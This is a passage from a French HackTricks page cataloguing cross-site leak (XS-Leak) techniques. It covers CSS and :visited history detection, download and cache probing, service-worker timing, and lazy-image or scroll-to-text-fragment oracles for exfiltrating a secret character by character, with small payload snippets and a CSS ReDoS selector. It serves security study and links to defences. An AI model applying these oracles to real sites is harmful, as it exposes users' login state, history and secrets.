  • HTMLMediaElement: Cet Ă©lĂ©ment rĂ©vĂšle la duration et les temps buffered du mĂ©dia, qui peuvent ĂȘtre accessibles via son API. Read more about HTMLMediaElement
  • HTMLVideoElement: Il expose videoHeight et videoWidth. Dans certains navigateurs, des propriĂ©tĂ©s supplĂ©mentaires comme webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, et webkitDecodedFrameCount sont disponibles, offrant des informations plus dĂ©taillĂ©es sur le contenu multimĂ©dia. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Cette fonction fournit des dĂ©tails sur la qualitĂ© de lecture vidĂ©o, y compris totalVideoFrames, qui peut indiquer la quantitĂ© de donnĂ©es vidĂ©o traitĂ©es. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Cet Ă©lĂ©ment divulgue la height et la width d'une image. Cependant, si une image est invalide, ces propriĂ©tĂ©s retourneront 0, et la fonction image.decode() sera rejetĂ©e, indiquant l'Ă©chec de chargement correct de l'image. Read more about HTMLImageElement

CSS Property

Les applications web peuvent changer le style du site web en fonction du statut de l'utilisateur. Des fichiers CSS cross-origin peuvent ĂȘtre intĂ©grĂ©s sur la page de l'attaquant avec l'Ă©lĂ©ment HTML link, et les rĂšgles seront appliquĂ©es Ă  la page de l'attaquant. Si une page change dynamiquement ces rĂšgles, un attaquant peut dĂ©tecter ces diffĂ©rences en fonction de l'Ă©tat de l'utilisateur.
En tant que technique de fuite, l'attaquant peut utiliser la méthode window.getComputedStyle pour lire les propriétés CSS d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.

CSS History

note

Selon ceci, cela ne fonctionne pas dans Chrome sans tĂȘte.

Le sĂ©lecteur CSS :visited est utilisĂ© pour styliser les URL diffĂ©remment si elles ont Ă©tĂ© prĂ©cĂ©demment visitĂ©es par l'utilisateur. Dans le passĂ©, la mĂ©thode getComputedStyle() pouvait ĂȘtre utilisĂ©e pour identifier ces diffĂ©rences de style. Cependant, les navigateurs modernes ont mis en Ɠuvre des mesures de sĂ©curitĂ© pour empĂȘcher cette mĂ©thode de rĂ©vĂ©ler l'Ă©tat d'un lien. Ces mesures incluent le retour systĂ©matique du style calculĂ© comme si le lien avait Ă©tĂ© visitĂ© et la restriction des styles pouvant ĂȘtre appliquĂ©s avec le sĂ©lecteur :visited.

Malgré ces restrictions, il est possible de discerner l'état visité d'un lien de maniÚre indirecte. Une technique consiste à tromper l'utilisateur pour qu'il interagisse avec une zone affectée par le CSS, en utilisant spécifiquement la propriété mix-blend-mode. Cette propriété permet le mélange d'éléments avec leur arriÚre-plan, révélant potentiellement l'état visité en fonction de l'interaction de l'utilisateur.

De plus, la dĂ©tection peut ĂȘtre rĂ©alisĂ©e sans interaction de l'utilisateur en exploitant les temps de rendu des liens. Étant donnĂ© que les navigateurs peuvent rendre les liens visitĂ©s et non visitĂ©s diffĂ©remment, cela peut introduire une diffĂ©rence de temps mesurable dans le rendu. Un proof of concept (PoC) a Ă©tĂ© mentionnĂ© dans un rapport de bogue Chromium, dĂ©montrant cette technique en utilisant plusieurs liens pour amplifier la diffĂ©rence de timing, rendant ainsi l'Ă©tat visitĂ© dĂ©tectable par analyse de timing.

Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de documentation :

ContentDocument X-Frame Leak

Dans Chrome, si une page avec l'en-tĂȘte X-Frame-Options dĂ©fini sur "deny" ou "same-origin" est intĂ©grĂ©e en tant qu'objet, une page d'erreur apparaĂźt. Chrome retourne de maniĂšre unique un objet document vide (au lieu de null) pour la propriĂ©tĂ© contentDocument de cet objet, contrairement aux iframes ou Ă  d'autres navigateurs. Les attaquants pourraient exploiter cela en dĂ©tectant le document vide, rĂ©vĂ©lant potentiellement des informations sur l'Ă©tat de l'utilisateur, surtout si les dĂ©veloppeurs dĂ©finissent de maniĂšre incohĂ©rente l'en-tĂȘte X-Frame-Options, nĂ©gligeant souvent les pages d'erreur. La sensibilisation et l'application cohĂ©rente des en-tĂȘtes de sĂ©curitĂ© sont cruciales pour prĂ©venir de telles fuites.

Download Detection

L'en-tĂȘte Content-Disposition, spĂ©cifiquement Content-Disposition: attachment, indique au navigateur de tĂ©lĂ©charger le contenu plutĂŽt que de l'afficher en ligne. Ce comportement peut ĂȘtre exploitĂ© pour dĂ©tecter si un utilisateur a accĂšs Ă  une page qui dĂ©clenche un tĂ©lĂ©chargement de fichier. Dans les navigateurs basĂ©s sur Chromium, il existe quelques techniques pour dĂ©tecter ce comportement de tĂ©lĂ©chargement :

  1. Surveillance de la barre de téléchargement :
  • Lorsqu'un fichier est tĂ©lĂ©chargĂ© dans les navigateurs basĂ©s sur Chromium, une barre de tĂ©lĂ©chargement apparaĂźt en bas de la fenĂȘtre du navigateur.
  • En surveillant les changements de la hauteur de la fenĂȘtre, les attaquants peuvent dĂ©duire l'apparition de la barre de tĂ©lĂ©chargement, suggĂ©rant qu'un tĂ©lĂ©chargement a Ă©tĂ© initiĂ©.
  1. Navigation de téléchargement avec des iframes :
  • Lorsqu'une page dĂ©clenche un tĂ©lĂ©chargement de fichier en utilisant l'en-tĂȘte Content-Disposition: attachment, cela ne provoque pas d'Ă©vĂ©nement de navigation.
  • En chargeant le contenu dans une iframe et en surveillant les Ă©vĂ©nements de navigation, il est possible de vĂ©rifier si la disposition du contenu provoque un tĂ©lĂ©chargement de fichier (pas de navigation) ou non.
  1. Navigation de téléchargement sans iframes :
  • Semblable Ă  la technique iframe, cette mĂ©thode implique d'utiliser window.open au lieu d'une iframe.
  • Surveiller les Ă©vĂ©nements de navigation dans la nouvelle fenĂȘtre ouverte peut rĂ©vĂ©ler si un tĂ©lĂ©chargement de fichier a Ă©tĂ© dĂ©clenchĂ© (pas de navigation) ou si le contenu est affichĂ© en ligne (la navigation se produit).

Dans les scĂ©narios oĂč seuls les utilisateurs connectĂ©s peuvent dĂ©clencher de tels tĂ©lĂ©chargements, ces techniques peuvent ĂȘtre utilisĂ©es pour dĂ©duire indirectement l'Ă©tat d'authentification de l'utilisateur en fonction de la rĂ©ponse du navigateur Ă  la demande de tĂ©lĂ©chargement.

Partitioned HTTP Cache Bypass

warning

C'est pourquoi cette technique est intĂ©ressante : Chrome a maintenant le partitionnement du cache, et la clĂ© de cache de la nouvelle page ouverte est : (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), mais si j'ouvre une page ngrok et que j'utilise fetch dedans, la clĂ© de cache sera : (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la clĂ© de cache est diffĂ©rente, donc le cache ne peut pas ĂȘtre partagĂ©. Vous pouvez trouver plus de dĂ©tails ici : Gaining security and privacy by partitioning the cache
(Commentaire de ici)

Si un site example.com inclut une ressource de *.example.com/resource, alors cette ressource aura la mĂȘme clĂ© de cache que si la ressource Ă©tait directement demandĂ©e par navigation de niveau supĂ©rieur. Cela est dĂ» au fait que la clĂ© de cache est constituĂ©e de eTLD+1 de niveau supĂ©rieur et de eTLD+1 de frame.

Parce qu'accĂ©der au cache est plus rapide que de charger une ressource, il est possible d'essayer de changer l'emplacement d'une page et de l'annuler 20 ms (par exemple) aprĂšs. Si l'origine a Ă©tĂ© changĂ©e aprĂšs l'arrĂȘt, cela signifie que la ressource a Ă©tĂ© mise en cache.
Ou pourrait simplement envoyer un fetch Ă  la page potentiellement mise en cache et mesurer le temps qu'il faut.

Manual Redirect

Fetch with AbortController

Utilisez fetch et setTimeout avec un AbortController pour détecter si la ressource est mise en cache et pour évincer une ressource spécifique du cache du navigateur. De plus, le processus se déroule sans mettre en cache de nouveau contenu.

Script Pollution

Service Workers

Dans le scĂ©nario donnĂ©, l'attaquant prend l'initiative d'enregistrer un service worker dans l'un de ses domaines, spĂ©cifiquement "attacker.com". Ensuite, l'attaquant ouvre une nouvelle fenĂȘtre sur le site web cible depuis le document principal et demande au service worker de commencer un chronomĂštre. Alors que la nouvelle fenĂȘtre commence Ă  se charger, l'attaquant navigue vers la rĂ©fĂ©rence obtenue dans l'Ă©tape prĂ©cĂ©dente vers une page gĂ©rĂ©e par le service worker.

À l'arrivĂ©e de la requĂȘte initiĂ©e dans l'Ă©tape prĂ©cĂ©dente, le service worker rĂ©pond avec un code d'Ă©tat 204 (No Content), terminant effectivement le processus de navigation. À ce stade, le service worker capture une mesure du chronomĂštre initiĂ© plus tĂŽt Ă  l'Ă©tape deux. Cette mesure est influencĂ©e par la durĂ©e du JavaScript causant des retards dans le processus de navigation.

warning

Dans un timing d'exécution, il est possible d'éliminer les facteurs réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger.

Fetch Timing

Cross-Window Timing

With HTML or Re Injection

Ici, vous pouvez trouver des techniques pour exfiltrer des informations d'un HTML cross-origin en injectant du contenu HTML. Ces techniques sont intĂ©ressantes dans les cas oĂč pour une raison quelconque vous pouvez injecter du HTML mais vous ne pouvez pas injecter de code JS.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret, vous devriez vérifier les techniques de balisage pendantes courantes.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractĂšre par caractĂšre (peut-ĂȘtre que la communication se fait via un hit de cache), vous pouvez utiliser cette astuce.

Les images en HTML ont un attribut "loading" dont la valeur peut ĂȘtre "lazy". Dans ce cas, l'image sera chargĂ©e lorsqu'elle sera vue et non pendant le chargement de la page :

html
<img src=/something loading=lazy >

Par conséquent, ce que vous pouvez faire est d'ajouter beaucoup de caractÚres inutiles (par exemple des milliers de "W") pour remplir la page web avant le secret ou ajouter quelque chose comme <br><canvas height="1850px"></canvas><br>.
Ensuite, si par exemple notre injection apparaĂźt avant le drapeau, l'image serait chargĂ©e, mais si elle apparaĂźt aprĂšs le drapeau, le drapeau + les caractĂšres inutiles empĂȘcheront son chargement (vous devrez jouer avec la quantitĂ© de caractĂšres inutiles Ă  placer). C'est ce qui s'est passĂ© dans ce rapport.

Une autre option serait d'utiliser le scroll-to-text-fragment si cela est autorisé :

Scroll-to-text-fragment

Cependant, vous faites en sorte que le bot accĂšde Ă  la page avec quelque chose comme

#:~:text=SECR

La page web sera quelque chose comme : https://victim.com/post.html#:~:text=SECR

OĂč post.html contient les caractĂšres indĂ©sirables de l'attaquant et une image Ă  chargement paresseux, puis le secret du bot est ajoutĂ©.

Ce texte fera en sorte que le bot accÚde à tout texte sur la page contenant le texte SECR. Comme ce texte est le secret et qu'il est juste en dessous de l'image, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le secret caractÚre par caractÚre.

Un exemple de code pour exploiter cela : https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Chargement d'Image Paresseux Basé sur le Temps

S'il est impossible de charger une image externe qui pourrait indiquer Ă  l'attaquant que l'image a Ă©tĂ© chargĂ©e, une autre option serait d'essayer de deviner le caractĂšre plusieurs fois et de mesurer cela. Si l'image est chargĂ©e, toutes les requĂȘtes prendraient plus de temps que si l'image n'est pas chargĂ©e. C'est ce qui a Ă©tĂ© utilisĂ© dans la solution de ce rapport rĂ©sumĂ©e ici :

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Si jQuery(location.hash) est utilisé, il est possible de découvrir via le timing si un contenu HTML existe, car si le sélecteur main[id='site-main'] ne correspond pas, il n'est pas nécessaire de vérifier le reste des sélecteurs :

javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

Injection CSS

CSS Injection

DĂ©fenses

Il existe des atténuations recommandées dans https://xsinator.com/paper.pdf ainsi que dans chaque section du wiki https://xsleaks.dev/. Consultez ces ressources pour plus d'informations sur la façon de se protéger contre ces techniques.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks